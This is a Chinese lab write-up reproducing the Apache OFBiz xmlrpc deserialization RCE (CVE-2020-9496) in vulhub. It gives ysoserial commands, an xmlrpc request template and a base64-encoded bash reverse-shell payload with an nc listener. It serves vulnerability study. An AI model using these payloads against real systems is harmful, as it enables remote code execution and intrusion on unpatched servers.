Apache Ofbiz xmlrpc RCE漏洞（CVE-2020-9496）复现

Apache Ofbiz xmlrpc RCE漏洞（CVE-2020-9496）复现

• |简介

Apache OFBiz全称是The ApacheOpen For Business Project，是开一个放的电子商务平台，也是一个非常著名的开源项目

• |漏洞描述

Apache ofbiz存在反序列化漏洞，攻击者可以通过未授权访问接口，构造特定的xmlrpc http请求，造成远程代码执行的影响

• |影响版本

Apache ofbiz: <17.12.04

• |搭建环境

（1）使用vulhub搭建环境，在有docker环境的虚拟机中 //没有的,先安装docker环境(apt install docker-ce、docker-compose等)

git clone https://github.com/vulhub/vulhub.git

（2）拉取项目

进入漏洞目录，使用docker-compose拉取环境，看到绿色done，说明成功

（3）在浏览器访问搭建的环境页面：https://ip:8443/myportal/control/login //注意是https

（4）安装漏洞复现需求的环境

1. 安装java环境 https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html ，根据版本选择下载的jdk

2. 创建一个文件夹，把下载好的jdk解压到文件夹中

   mkdir /opt/java ==> tar xvzf jdk-8u301-linux-x64.tar.gz -C /opt/java //-C 解压至指定文件夹中

3. 配置java环境变量

   vim /etc/profile 末尾加上

   • export JAVA_HOME=/opt/java/jdk1.8.0_301

   • export JRE_HOME=${JAVA_HOME}/jre

   • export CLASSPATH=.:\({JAVA_HOME}/lib:\){JRE_HOME}/lib

   • export PATH=\({JAVA_HOME}/bin:\)PATH

   

4. 设置完成后，source /etc/profile,重新加载配置文件

   //每次重启终端后，需要执行一遍，才能加载环境变量，嫌麻烦的可以在_/.zshrc(或/.bashrc，看版本)，加入环境变量（这样就不需要每次都执行一遍了），如下：

   

   java -version

   ok~

5. 安装maven，使用wget下载mvn

   wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

   

   创建文件夹，解压

   mkdir /opt/maven ==> tar xvzf apache-maven-3.6.3-bin.tar.gz -C /opt/maven

   

   配置环境变量

   vim /etc/profile 在末尾加上

   • export MAVEN_HOME=/opt/maven/apache-maven-3.6.3

   • export PATH=\(MAVEN_HOME/bin:\)PATH

     mvn -version

   ok~

• |漏洞复现

（1）在gitHub上下载java反序列化利用工具ysoserial

​ git clone https://github.com/frohoff/ysoserial.git

（2）进入ysoserial目录使用maven下载编译需要得包，

​ mvn clean package -DskipTests

编译成功，如下:

（3）可以看到ysoserial目录里面有一个target文件，进入这个目录,可以看到生成payload的工具

（4）在浏览器访问 https://ip:8443/webtools/control/xmlrpc 这个页面，并使用burp抓包，放置重放模块

页面源代码

放置重放模块：

（5）在数据包下方加上导入xml

POST /webtools/control/xmlrpc HTTP/1.1
Host: 192.168.87.128:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=A7A75619C87A5FB8DD5A23C4CE6F77A8.jvm1; Hm_lvt_ade42d4f682c4fca28c5f093052433c1=1631008935,1631009219,1631013070,1631015778; OFBiz.Visitor=10000
Content-Length: 4208

tom

cat

[base64-payload]

（6）尝试使用ysoserial的CommonsBeanutils1生成Payload并在tmp目录写入文件

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "touch /tmp/Tokyo" | base64 | tr -d "\n"

或使用dnslog判断漏洞是否存在

（7）复制生成的64位编码的payload，并粘贴到burp数据包[base64-payload]这个地方，点击Go发送，到docker查看是否成功写入

（8）利用漏洞反弹shell，借用下面这个网站，对反弹shell的payload进行base64位编码

​ http://www.jackson-t.ca/runtime-exec-payloads.html

（9）把编码后的shell再用ysoserial工具进行一次base64编码

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg3LjEyOC8zMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" | base64 | tr -d "\n"

（10）nc设置监听，把生成的exp放入到burp的数据包中发送，查看nc监听以返回shell

• |修复建议

  1、升级为最新版本